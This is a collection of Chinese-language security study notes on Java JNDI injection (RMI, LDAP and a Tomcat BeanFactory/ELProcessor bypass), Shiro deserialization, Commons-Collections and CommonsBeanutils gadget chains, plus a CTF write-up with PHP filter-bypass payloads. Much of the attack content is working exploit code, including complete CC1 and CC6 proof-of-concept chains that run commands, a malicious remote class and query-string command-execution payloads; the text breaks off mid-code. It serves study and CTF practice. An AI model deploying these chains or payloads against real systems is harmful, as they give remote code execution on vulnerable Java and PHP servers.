java-jndi注入

#JNDI注入
首先在前面大致捋一下基础知识,了解什么是JNDI什么是RMI,然后再讲解利用手法
##JNDI
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。

JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

简单点说,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等。

按照我的理解,JNDI就是提供用于针对不同的协议提供不同的查询方式的服务。
##JNDI+RMI
###RMI
RMI是java中的一种协议,类似于http,加了一个rmi头,java就会使用rmi的协议请求方法去请求
###JNDI+RMI服务编写
实现对象
创建接口:

package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}

实现接口功能:

package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}

@Override
public String sayHello(String name) throws RemoteException {
return "Hello " + name;
}
}

客户端:

package org.example;

import javax.naming.InitialContext;


public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
//创建上下文对象,并使用lookup函数进行调用查询
InitialContext initialContext = new InitialContext();
IHello iHelloobj = (IHello) initialContext.lookup("rmi://localhost:1099/hello");
System.out.println(iHelloobj.sayHello("aa"));

}
}

服务端:


package org.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
public static void main(String[] args) throws Exception{

//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

// 创建初始化环境
Context ctx = new InitialContext(env);

// 创建一个rmi映射表
Registry registry = LocateRegistry.createRegistry(1099);
// 创建一个对象
IHello hello = new IHelloImpl();
// 将对象绑定到rmi注册表
registry.bind("hello", hello);

// // jndi的方式获取远程对象
// IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");
// // 调用远程对象的方法
// System.out.println(rhello.sayHello("axin"));
}
}

##JNDI+RMI注入
我们首先让服务端重新绑定至恶意类

package org.example;

import javax.naming.InitialContext;
import javax.naming.Reference;

public class JNDIRMiServer {
public static void main(String[] args) throws Exception {
//创建初始上下文
InitialContext initialContext = new InitialContext();
// initialContext.rebind("rmi://localhost:1099/hello",new IHelloImpl());

Reference refObj = new Reference("T","T","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/hello",refObj);

}
}

然后这个T就是我们的恶意类:
只需要定义构造函数就行

import java.io.IOException;

public class T {
public T() throws IOException {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

}
}

此时,我们再访问这个rmi服务的时候,就会触发这个远程类了
接下来,我们跟进一下lookup函数调用的过程,看看其是如何调用远程类的,再经过多层lookup函数调用以后,会获取远程访问的类,这个时候就已经获取了我们的恶意类了

接下来就会调用loadClass加载这个类

加载完以后,使用newInstance实例化这个类,此时构造函数就会被触发了


可以发现,JNDI注入的关键点在于,lookup函数的内容可控
###高版本
在JDK 6u141、7u131、8u121之后,增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项。
那么此时我们就无法像前面一样,可以那么单纯的直接使用lookup函数进行命令执行了

此时就会直接抛出异常,导致获取不到远程类

那么如何绕过呢?
####高版本jdk绕过
仔细观察前面rmi流程,可以发现,其实是在namingmanager的地方获取恶意类的,而前面的限制也只是存在于禁止远程访问而已


可以发现上面if有三个条件判断

  • 其中第一个判断的r需要不是引用对象,我们从远程对象引用的基本就是引用对象了,这里就不太有操作的空间
  • 而第二个通过函数返回了下面远程地址的值,如果这个是null的话,也会绕过,如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键
  • 第三个就是默认的参数,只能自己配置
    所以我们只需要找到一个本地的factory,触发至这个namingmanager即可

从第二个方法入手,这里我们需要关注getFactoryClassLocation函数:返回classFactoryLocation属性

而这个属性本来是null值

在下面构造函数过程中被传入

那么我们这里的Location要不传值,就只能利用本地了,那么就找找本地有没有利用的factory
跟进一下NamingManager.getObjectInstance方法
关注这部分代码,可以发现这里会执行factory这个类的getObjectInstance方法

所以我们首先需要找到一个类并且可以执行getObjectInstance方法,除此之外,这个类还需要实现ObjectFactory这个接口,才能使用getObjectInstance方法

根据前面的分析,总结一下我们需要

  • 寻找目标本地的工厂类
  • 该工厂类需要实现javax.naming.spi.ObjectFactory
  • 存在一个getObjectInstance()方法

这里说一下如何找到的,首先我们知道需要实现ObjectFactory接口,所以直接用idea打开看看,直接找到这个借口,然后点击旁边的小标志就可以

在Tomcat8的依赖包中org.apache.naming.factory.BeanFactory就满足上述条件,首先实现了javax.naming.spi.ObjectFactory,并且存在getObjectInstance方法,可以反射执行

接下来就是构造payload:
1.首先观察第一个判断,其必须属于resourceRef类的实例化对象

获取类名以后,会对其进行实例化,并且需要关注的是此处为class.newInstance,而不是使用construcot来进行newInstance,所以这里是无参构造方法,再往下审计,可以发现

这里会获取forceString字段,而这个字段是从resourceref类中的refaddr获取到的

在这里获取到forceString的值

分为两部分,contents和addrtype,其中addrtype是我们需要传入的执行的函数

其中addrtype是我们需要传入的执行的函数

首先会定位,是否含有=号,如果有的话,会将后面的值作为setterName的值继续向下传递,在这里setterName

会作为后面beaClass要获取的方法,而paramTypes则是String.class,也就是说这里传入的参数是String类型的

再往下,可以看到这里做了一个判断,传入的refaddr中,如果不为里面的内容如forced,则会进入到接下来的代码中

获取这个参数的content

再往下,会获取这个参数的method

并将前面获取的这个参数的content作为要执行的值,最后invoke反射执行

分析完前面的流程,我们可以总结一下:
首先传入一个resourceRef类,其factory选择org.apache.naming.factory.BeanFactory,而要调用的恶意代码执行类需要满足

  • 无参构造
  • 有能够执行String类型参数的方法
    除此之外,在传值的过程中,根据前面的分析,在RefAddr的参数构造过程中,我们需要构造出如下格式
    force x=(function)
    x param
    而满足上述恶意类的要求中,我们可以选择javax.el.ELProcessor,并使用eval来执行String类型的命令

1.首先先构造一个ResourceRef类,然后其中传入我们能够无参恶意类,这里的参数构造,我们可以直接看其构造函数就可以知道为啥要这样传入了

ResourceRef ref = new ResourceRef("javax.el.ELProcessor",null,"","",true,
"org.apache.naming.factory.BeanFactory",null);

2.传入refaddr参数
使用其add方法

ref.add(new StringRefAddr("forceString","x=eval"));
ref.add(new StringRefAddr("x","Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')"));

因为要使用 javax.el.ELProcessor,所以需要 Tomcat 8+或SpringBoot 1.2.x+
小结:
由于使用的是javax.el.ELProcessor类,所以是需要有tomcat8及更高版本环境下通过该库进行攻击

工具:
使用 https://github.com/welk1n/JNDI-Injection-Bypass,放在服务器上启动一个恶意 RMI Server
https://github.com/mbechler/marshalsec

##JNDI+LDAP注入
使用LDAP协议同样也可以实现jdni注入
###低版本JDK运行
在低版本的jdk中,过滤了rmi协议以后,依旧可以ldap来进行绕过
不同的是,LDAP服务中lookup方法中指定的远程地址使用的是LDAP协议,由攻击者控制LDAP服务端返回一个恶意jndi Reference对象,并且LDAP服务的Reference远程加载Factory类并不是使用RMI Class Loader机制,因此不受trustURLCodebase限制。

shiro反序列化漏洞

##漏洞分析
首先我们看到其加密的key是一个固定值

有了这个key我们就可以伪造

##利用shiro打cc3.2.1
首先我们知道,如果直接用invokeTransformer打的话是打不通的,因为在shiro里面,如果使用数组进行反序列化会报错,所以我们需要构造一条不用数组的——cc2,但是cc2后半段是用于cc4.0版本的,所以后半段我们需要替换一下,这里我用的是cc6的后半段
首先,前面部分就是cc2的内容,不依赖于数组的传参方式,然后后面的部分使用的是cc6的链条,因为其无数版本,所以比较合适一些

##利用shiro无依赖利用链
由于shiro本身是不带cc的依赖,所以我们使用他自身带的依赖——commons-beanutils:这个是用来方便调用javaBean的,在使用这个cb进行调用的时候,使用以下格式的话,会在template这个对象里面,调用getOutputProperties方法

PropertyUtils.getProperty(template,"outputProperties");

接下来我们就分析一下这个利用链:
首先我们确定一下终点,依旧是templates的getOutputProperties方法,因为这个时候就会调用newTransformer方法

接下来我们就找找哪里有使用PropertyUtils.getProperty方法,可以发现BeanComparator.compare中调用了这个方法,并且参数是可控的,说到compare,其实就很熟悉了,在cc4中中,我们就有用过了,这里直接粘贴过来构造一下链子

其中需要改的地方,首先是增加调用BeanComparator

然后就是后面对PriorityQueue的赋值操作,

//BeanComparator中的属性properties需要设置一下,就是我们需要调用的属性
BeanComparator beanComparator = new BeanComparator("outputProperties");
//为了防止在序列化的过程直接执行,然后报错断掉,这里我们需要先弄一个其他的对象替代一下,最后再用反射改值
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
//这里的add就和前面的cc4没啥区别了
priorityQueue.add(template);
priorityQueue.add(2);
//最后这里用反射改值就行
Class p = priorityQueue.getClass();
Field priorityQueuecon = p.getDeclaredField("comparator");
priorityQueuecon.setAccessible(true);
priorityQueuecon.set(priorityQueue,beanComparator);

但是这里有几个坑,如果没有cc依赖的话,这里的BeanComparator需要这么写才行,因为默认的comparator是需要有cc依赖的

使用ysoserial打的时候,要注意版本,yso的cb版本是1.9.2

java-cc4、cc2、cc5、cc7

##cc4
###为什么需要cc4
cc4使用的版本是

在这个版本中有个类发生了变化,所以可以进行反序列化
##cc4构造
cc4中,这个类实现了serialize接口,并且在

其compare函数中实现了transform方法,因此,我们只需要找到能到达这个compare方法的链子即可

在PriorityQueue这个类的readObject中存在

进入heapify函数中可以发现,前提是size序列要大于等于2,才能进入到for循环中

接下来再继续,就调用到了这个compare

前面的部分和之前的一样,区别就是后面的封装

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformingtcon = c.getDeclaredField("transformer");
transformingtcon.setAccessible(true);
transformingtcon.set(transformingComparator,chainedTransformer);

##CC2
和CC4的区别:
使用的是invoketransformer,而template(任意代码执行内容)是在后面传入的

InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(template);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformingtcon = c.getDeclaredField("transformer");
transformingtcon.setAccessible(true);
transformingtcon.set(transformingComparator,invokerTransformer);

但是这里就抛出了一个问题,为什么第一次add的时候才能实现命令执行,因为在反序列化的过程中invoketransformer是一个消耗品,此时已经在add的元素为1的时候被消耗掉了,所以就轮不到template了,和之前的cc6是一个问题。

而cc2和其他的链子最大一个区别是这里没有用到数组的处理方式(也就是chainedtransformer),因此在有些数组加载不到的情况下可以使用cc2

##cc5
cc5和其他区别主要是在Lazymap的get方法的调用链中,使用的是其他类来触发get方法,:BadAttributeValueExpException.readObject->TiedMapEntry.toString
所以如果遇到toString方法的时候可以用cc5来进行构造

##cc7
Hashtable.readObject -> AbstractMap.equals->xx.get
这里比较特别的是这个equals是有点继承的意味在里面,向上继承才用到的

java_cc链小结

##前言
感觉自己最近越来越浮躁了,也没有静下心来好好分析点什么,所以这次打算好好整理一下之前学过的CC链

##总览

##CC1
1.适用版本:commons-collections 3.2.1
2.细节描述
在构造链子的过程中一般是倒着来看感觉会比较顺一点,所以我们从InvokeTransform来看:
InvokeTransformtransform方法中实现了getMethod和invoke方法,刚好可以将我们的Runtime.exe那一段进行命令执行

这里用了一个chainedTransform数组进行一个整体的transform起到简化代码的作用,接下来我们只需要寻找哪里调用了transform就可以,
可以看到,在LazyMap中的get方法中调用了transform,接下来关注一下这factory是如何传入的,可以发现,这边是LazyMap的构造方法,由于是protected,还需要使用反射的方式来进行赋值
但是再往下看,发现其decorate方法会直接返回一个LazyMap对象
,所以我们直接调用这个方法进行赋值就行了
具体赋值方式如下:

接下来我们要看一下哪里调用了这个get,在annotationinvocationhandler的invoke方法中就调用了这个get,但是需要思考的是,如何触发这个invoke方法,这里我们回想一下php里面的__call方法,通过调用不存在的方法,就会调用到invoke方法中,那么接下来我们就只需要寻找符合条件的即可这里需要注意的是,我们要使用无参的方法,正好在readObject中就有一个符合条件的,但是要在其他类的内部进行这操作,我们需要借助代理

因此赋值方式如下:
首先关注一下其构造方法,需要传入的类型,直接传入的话就会对我们需要的memberValue赋值了

//反射调用AnnotationInvocationHandler类
Class<?> b= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取其构造方法
Constructor annotationInvocationhdlconstructor=b.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlconstructor.setAccessible(true);
//实例化对象并进行赋值操作
InvocationHandler handler = (InvocationHandler) annotationInvocationhdlconstructor.newInstance(Override.class,Lazymap);
//实例化一个代理对象
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);

//在实例化一个annotationInvocationHadnler,里面装的是代理的内容,相当于是套了一个壳
Object o = annotationInvocationhdlconstructor.newInstance(Override.class,mapProxy);


另外一条cc1链比较简单,就不细讲了,

##CC6
1.适用版本:没有版本限制
在CC6中,主要是前半部分有区别,在调用到get部分采用的是TiedMapEntry.hashCode方法,因为在hashcode中会调用到getValue方法

并且在getValue中会调用到get方法

而这里是对map进行调用了,我们看看map是如何赋值的,直接构造方法穿参就可以了

接下来就是寻找哪里有调用这个hashcode了,可以看到在HashMap的readObject中就有调用

那么解析来就来看一下两处是如何赋值的:
TiedMapEntry.hashcode就是采用直接赋值的形式就可以了,因为他有这个构造函数

接下来就是赋值到hashmap里面去,因为,hashmap其实是一个键值对,前面是key,后面是value

然后我们接下来就是对其赋值,但是在hashmap里面,要对其键值对进行赋值需要调用put函数,但是这还不够,由于在put的时候就有hash了

也就是这里

然后接下来他就会走一遍我们之前的链子了,那么这样会造成什么后果呢

我们往下继续看一下,在反序列化的过程中,此时由于我们前面put过一次了,所以此时就contains那个key,那么就进不到这个transform里面,因此我们这条链就断了

所以此时,我们首先需要将这个a给remove掉,在反序列化的时候才能进入

ok,到这里我们捋一下

  • 由于在对map2进行put的赋值操作的时候,走到了get方法,此时说get方法就会判断是否还有key,因为是第一次走到这里,所以肯定是没有这个key的,那么就进入到transform中,并且进行了一个put的操作,此时这个hashmap就有了这个key了
  • 针对以上问题,我们首先要在put以后将这个key给删掉,也就是使用上面的remove操作
    接下来是第二个问题,如何解决序列化过程就命令执行这一问题,那么就是在一开始的先赋值一个不存在命令执行效果的

    然后再利用反射更改值

##cc3
1.invoketransform被过滤、需要调用字节码
2.代码执行—(动态类加载)
我们要使用defineclass调用字节码实现动态类加载以达到命令执行的目的,那么就需要找到一处有调用newinstance
首先,我们找到的是TemplatesImpl.newTransformer里面有一个getTransletInstance

在这里面就有一个newInstance

而这个newInstance前面调用的内容,来源于上面这个函数

可以发现这里就实现了使用defineclass对_class[i]的赋值

首先我们来看这一部分如何赋值:
在上面的代码中,我们发现,要到newInstance的位置,需要对__name 和__bytecodes(传入的字节码)进行赋值

看看构造函数,发现是无参的,所以我们直接利用反射来更改值就行

根据前面的分析,我们进行了一下的赋值

但是此时还是无法成功命令执行

因为在defineclass中,如果没有满足父类是ABSTRACT_TRANSLET则会报错

因此,我们在前面些字节码的类中,还需要加上下面的extends

此时才可以成功执行
而这部分内容,其实是我们为了在序列化的时候测试能否成功命令执行而加上去的

这个_tfactory的属性是transient,是无法被序列化的,但是在readObject中会自动赋值,所以我们可以不用管

前面的部分进行transform方法以后就可以实现命令执行了,接下来就只需要将后面的方法完善好就行,如果invoketansform还能用的话,直接进行以下方法的调用即可

在cc3中,和前面两条链子最大的不同就是后半段,前面是适用invoketransform来进行命令执行的触发,这里需要对invoketransform进行一下解释,这个类,里面的tansform实现了getMethod和invoke方法,那就是可以反射调用任意的方法并执行,所以前面才说调用newTransformer和templatesImple就呼应上了,但是如果过滤了invoketransform,那么此时我们就要另外寻找调用了newTransformer的地方——TrAXFilter这个类
还有一种是利用TrAXFilter的构造方法

在这里调用了newTransformer,所以我们直接对其构造函数进行赋值就行了,接下来就是找哪里有触发获取构造函数的位置,在InstantiateTransformertransform中使用了getConstructor

跟进去可以发现,这里就会调用前面的TrAXFilter的构造方法,并对其赋值为templatesImple

接下来就看看如何对其进行赋值,这里参考一下InstantiateTransformer的构造函数以及参数就可以了

cc3主要是梳理这些即可

##cc4
1.版本:cc4

##cc2
1.这条cc链是没有用到数组的
然后这里的put我们跟一下,连同上面的cc4一起理解

InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(template);

首先size要大于等于2,不然无法进入到siftDown,也就无法执行后续的链条了

接下来是哪个部分放template的问题,可以发现如果是第一个元素是其他值,那么就会造成这里发生错误,因为1.getClass明显是有问题的

##cc5

##cc7
往上调用equals,最后调用到父类的,然后转到get

c

java-cc3

##执⾏任意字节码的CommonsCollections利⽤链
结合前面的defineClass执行字节码的代码
###使用 new TemplatesImpl()

 public static void main(String[] args) throws Exception {
TemplatesImpl template = new TemplatesImpl();
Class tc = template.getClass();
Field nameField= tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(template,"aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("/Users/tlif3./Desktop/www/java_web/cc1/cc1_1/src/main/java/org/example/runtime.class"));
byte[][] codes = {code};

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(template,new TransformerFactoryImpl());

bytecodesField.set(template,codes);

// template.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(template),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}

简化版如下

byte[] code =
Base64.getDecoder().decode("");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new
ChainedTransformer(transformers);

##CC3
在cc3中,主要改变的是前面的invokeTransformer的调用,因为在这里是为了绕过过滤了invokerTransformer以后能够继续命令执行,所以这里采用的是
org.apache.commons.collections.functors.InstantiateTransformer
InstantiateTransformer也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法
那么这个时候我们就只需要找到一个构造方法里面含有newTransformer的方法就行,那么我们就可以通过执行字节码的方式来执行命令了。
而这里使用的类就是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

这个类的构造方法中调用了(TransformerImpl)templates.newTransformer(),因此我们无需使用InvokerTransformer手工调用newTransformer这一步

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Classp[] {Templates.class},
new Object[] {obj}
)
};

在这里可以发现,有一个transform,对传入的类进行实例化了,类似于invoketransform的功能

EDI内部ctf

##web2
常见的命令执行函数已经被过滤了,这里主要寻找可以执行命令的函数

preg_match('/call|system|exec|popen|file|passthru|open|eval|map|include|require|filter|assert|env|preg|ini|read|write|rename|show|sort|func|curl|copy|dir|get|proc|ld/i',$str)

下面使用的是call_user_func_array来执行命令
传入的参数为,第一个为所要调用的函数,第二个为执行函数的参数,且必须为数组,这个时候就去翻php文档寻找可以调用的函数即可:
发现可以使用这两个函数:
但是第一个由于版本的原因,用不了(本地测试7.4.3)可以使用

?func=array_reduce&args[0][0]=&args[0][1]=;}system('ls');/*&args[1]=create_function&args[2]=No data to reduce
?func=array_intersect_uassoc&args[0][system('cat /flag')]=&args[1][0]=&args[3]=assert

java-cc1、cc6

#环境搭建
openjdk 8u65相关源码下载
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
这里经常会下到一半断掉,所以可以直接下载sun文件里面的内容,也是直接点zip下载就行
openjdk 8u65下载
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

#调试cc1
##命令执行方式
###一般命令执行方式

Runtime.getRuntime().exec("open /System/Applications/Calculator.app");

###利用反射调用执行命令

Runtime r=Runtime.getRuntime();
Class c=Runtime.class;
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"open /System/Applications/Calculator.app");

###transform执行命令(最终命令执行处)
但是此时没办法反序列化,因为Runtime类没有继承序列化接口,所以我们就需要寻找可以实现反射的途径,这里就可以看到
相当于是实现了一个反射方法,而这个transform方法是属于InvokerTransformer这个方法的,而InvokerTransformer是有继承序列化接口,所以就用这个类来构造一下命令执行姿势

public static void main(String[] args) throws Exception {

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"}).transform(r);

}

而这样写又写麻烦,可以使用ChainedTransform直接链式调用:

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
  • 首先这里的InvokerTransformer传入的参数格式为,第一个是方法名,第二个是方法名的数据类型,第三个是参数。

##构造链条
要构造链条,首先需要找一下哪里调用了transform,在这些map里面均有调用transform

以checksetvalue为函数,再找一下哪里调用了这个checksetvalue

接下来需要看看checksetvalue里面的,可以看到这个checksetvalue是对valuetransformer进行transform进行赋值操作,所以我们需要看看构造函数对如何对这个valuetransformer进行赋值,然后从这里传入,可以看到这里是这个类的一个构造函数

接下来就看看哪里有调用这个checksetvalue,然后在进行探索可以发现,是在setvalue这边使用,接下来就看看哪里调用了这个setvalue

可以看到,在AnnotationInvocationHandler中的readObject直接使用了这个setValue,然后接下来我们只需关注memberValue如何传入即可

可以看到,传入的类型为map类型就行

那我们接下来就捋一下调用链:
InvocationHandler().transformer
->TransformedMap.transformer
->AbstractMapEntryDecorator.setValue
->AnnotationInvocationHandler.readObject
poc:

public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

Class<Runtime> c = Runtime.class;
// Method getRuntimeMethod= c.getMethod("getRuntime",null);
// Runtime r= (Runtime) getRuntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"open /System/Applications/Calculator.app");

HashMap<Object,Object> map = new HashMap<>();
map.put("value","bb");
Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,chainedTransformer);

Class<?> b= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhdlconstructor=b.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlconstructor.setAccessible(true);
Object o = annotationInvocationhdlconstructor.newInstance(Target.class,transformedMap);

serialize(o);
unserialize("ser.bin");

}

链子写完以后,在调试过程中也是有遇到一些坑点的,这里就来梳理一下

  • AnnotationInvocationHandler中要到我们需要的setvalue部分是存在一个判断,这个的意思是,map.put第一个参数值(“value”)要被作为name,然后去看看Target.class的构造函数中有没有这个value参数名,有的话才能进到判断里面去

    所以这里map.put的值需要取的是value,因为Target.class中是有这个参数名的
  • 过了上面的这个判断以后,在debug过程中,可以看到链子的这个object的值不是我们需要的Rumtime.class,而是变成了另外一个值,所以,这里需要对他进行改写,因此可以利用ConstantTransformer

    ConstantTransformer的作用是,输入什么就固定输出什么,我们一开始在这里输入Rume.class,他在后面的返回值当中就会输出这个内容:

    可以看到,此时已经被改写为Runtime.class了

    到这里整条链子的分析就结束了,成功执行命令

###lazymap版CC1
这里还有另外一种触发方式,就是利用lazymap

可以发现有很多地方都使用了get,这里直接看一下是从哪里进来的,根据网上有的链子,发现还是在annotationinvocationhandler中调用了这个get,接下来就看看如何触发这个invoke

invoke 主要是用来调用某个类中的方法的,但是他不是通过当前类直接去调用而是通过反射的机制去调用。所以这里我们直接调用annotationinvocationhandler的某个方法就行,那么接下来就要看看哪里可以调用这个方法,并且最好在readObject里面,这里需要再看一下进入到invoke里面的判断,主要就是要无参方法的方法才能进入到最后的,大概分析一下:
1.通过method.getParameterTypes()获取方法各参数的Class对象组成的数组
2.可以发现两个判断要绕过的条件就是无参即可

可以发现annotaionhandler的readObject中就存在这个方法了:也就是

但是要劫持一个对象内部方法的调用实现类似php的__call方法,需要使用java中的动态代理才能实现即
java.reflect.Proxy

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

在Proxy.newProxyInstance的第一个参数是ClassLoader
,使用默认的即可,第二个为所需要代理的对象的集合,第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代码的逻辑
最后构造出来的下面部分长这样

HashMap<Object,Object> map = new HashMap<>();
Map Lazymap = LazyMap.decorate(map,chainedTransformer);

Class<?> b= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlconstructor=b.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlconstructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) annotationInvocationhdlconstructor.newInstance(Override.class,Lazymap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);


Object o = annotationInvocationhdlconstructor.newInstance(Override.class,mapProxy);

###CC6
前面说的cc1是需要看jdk版本,过高的话,前面两条链子就无法使用了,而cc6就比较无视版本了
首先来看看他的gadget

Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

可以发现后面的部分还是一样,使用的是LazyMap,而前面的部分使用了一个TiedMapEntry,重点来观察一下这个TiedMapEntry
里面的getvalue调用了get函数,那么接下来就看看哪里调用了getvalue就可以了

可以发现,在hashcode中就调用了这个getvalue了

而在java.util.HashMap.hash()中调用了这个hashcode,然后在继续在hashmap中的readObject中使用这个hash,所以直接对其进行序列化和反序列化就行了
####错误的尝试

这里直接序列化map2的话是没有结果的,因为此时在put值的时候,put方法里面就有一个hash

那么就会将上面原本链条的内容走完了,所以这里需要将原本的chainedTransformer弄一个假的放进去,然后后面再通过反射重新传入值

Class b=LazyMap.class;
Field lazyfield=b.getDeclaredField("factory");
lazyfield.setAccessible(true);
lazyfield.set(Lazymap,chainedTransformer);

但是此时,也无法实现命令执行,因为此时的key已经被赋值了

但是原本是没有的,也是同样在前面的put过程中被赋值的,这个时候我们就直接将这个key删掉就行了

然后就可以成功命令执行了
完整的paylaod如下

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

Class<Runtime> c = Runtime.class;
// Method getRuntimeMethod= c.getMethod("getRuntime",null);
// Runtime r= (Runtime) getRuntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"open /System/Applications/Calculator.app");

HashMap<Object,Object> map = new HashMap<>();
Map Lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
